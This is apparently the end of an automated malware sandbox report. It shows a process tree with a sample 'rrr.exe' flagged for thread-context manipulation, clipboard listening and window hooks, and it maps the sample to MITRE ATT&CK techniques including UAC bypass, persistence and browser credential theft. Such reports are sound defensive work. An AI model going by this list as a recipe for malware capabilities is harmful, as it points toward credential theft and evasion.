- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2012

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:1340

C:\Users\Admin\Downloads\snapshot_2026-05-27_12-11\release\x64\rrr.exe
"C:\Users\Admin\Downloads\snapshot_2026-05-27_12-11\release\x64\rrr.exe"
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4000

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:4280
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - Suspicious use of SetWindowsHookEx
  PID:2176
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1968 -prefsLen 27097 -prefMapHandle 1972 -prefMapSize 270279 -ipcHandle 2044 -initialChannelId {40deca34-56a8-4ca9-9687-03964310ebd7} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:2312
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2412 -prefsLen 27133 -prefMapHandle 2416 -prefMapSize 270279 -ipcHandle 2424 -initialChannelId {c2b25a16-80be-4773-bd79-998f3f6aab97} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    PID:4764
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3764 -prefsLen 27274 -prefMapHandle 3768 -prefMapSize 270279 -jsInitHandle 3772 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3780 -initialChannelId {f45b33af-1478-4aa2-8941-cdada54eeb19} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:5004
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3964 -prefsLen 27274 -prefMapHandle 3968 -prefMapSize 270279 -ipcHandle 3912 -initialChannelId {557fabdb-33b3-4b41-a588-183f4fb19a7c} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:2400
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3044 -prefsLen 34773 -prefMapHandle 3116 -prefMapSize 270279 -jsInitHandle 2628 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2880 -initialChannelId {e09fe8b7-2f0e-4aa5-8774-aa0f9ac4d43c} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:2856
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4680 -prefsLen 35010 -prefMapHandle 3212 -prefMapSize 270279 -ipcHandle 2920 -initialChannelId {f578bdd6-fc39-4079-a06e-509263c6198d} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:1472
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5164 -prefsLen 32952 -prefMapHandle 5168 -prefMapSize 270279 -jsInitHandle 5172 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5180 -initialChannelId {5645c60b-bd6f-4c9f-99d4-9cd126e2113c} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:5872
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5376 -prefsLen 32952 -prefMapHandle 5372 -prefMapSize 270279 -jsInitHandle 5368 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5392 -initialChannelId {cade0658-05a8-4206-aea7-d9b41bcc48a7} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:4152
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5564 -prefsLen 32952 -prefMapHandle 5568 -prefMapSize 270279 -jsInitHandle 5572 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5576 -initialChannelId {bbffdbfe-eef6-46ac-a2f5-ac728b83c32e} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:2392
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6248 -prefsLen 33071 -prefMapHandle 6252 -prefMapSize 270279 -jsInitHandle 6256 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6448 -initialChannelId {a3a4893b-d71f-4552-a04d-6dea8acd5932} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
    3⤵
    - Checks processor information in registry
    PID:3244
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6204 -prefsLen 33071 -prefMapHandle 6296 -prefMapSize 270279 -jsInitHandle 6336 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5272 -initialChannelId {98253700-e322-4600-8427-e166322dde81} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
    3⤵
    - Checks processor information in registry
    PID:3520
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 4 -prefsHandle 2756 -prefsLen 35181 -prefMapHandle 2760 -prefMapSize 270279 -ipcHandle 4520 -initialChannelId {5609f3bd-fc3f-4875-bdcd-cd6fbab6edf7} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 utility
    3⤵
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:2008
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4524 -prefsLen 33071 -prefMapHandle 6860 -prefMapSize 270279 -jsInitHandle 4532 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6772 -initialChannelId {9dd94f7a-9250-46bd-af68-15b06645d09e} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
    3⤵
    - Checks processor information in registry
    PID:272
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5492 -prefsLen 33071 -prefMapHandle 6912 -prefMapSize 270279 -jsInitHandle 6928 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6668 -initialChannelId {87696839-2d4f-45f7-97c3-70812525f973} -parentPid 2176 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2176" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab
    3⤵
    - Checks processor information in registry
    PID:5396

C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe
"C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications
1⤵
PID:1416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Phishing

T1566

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery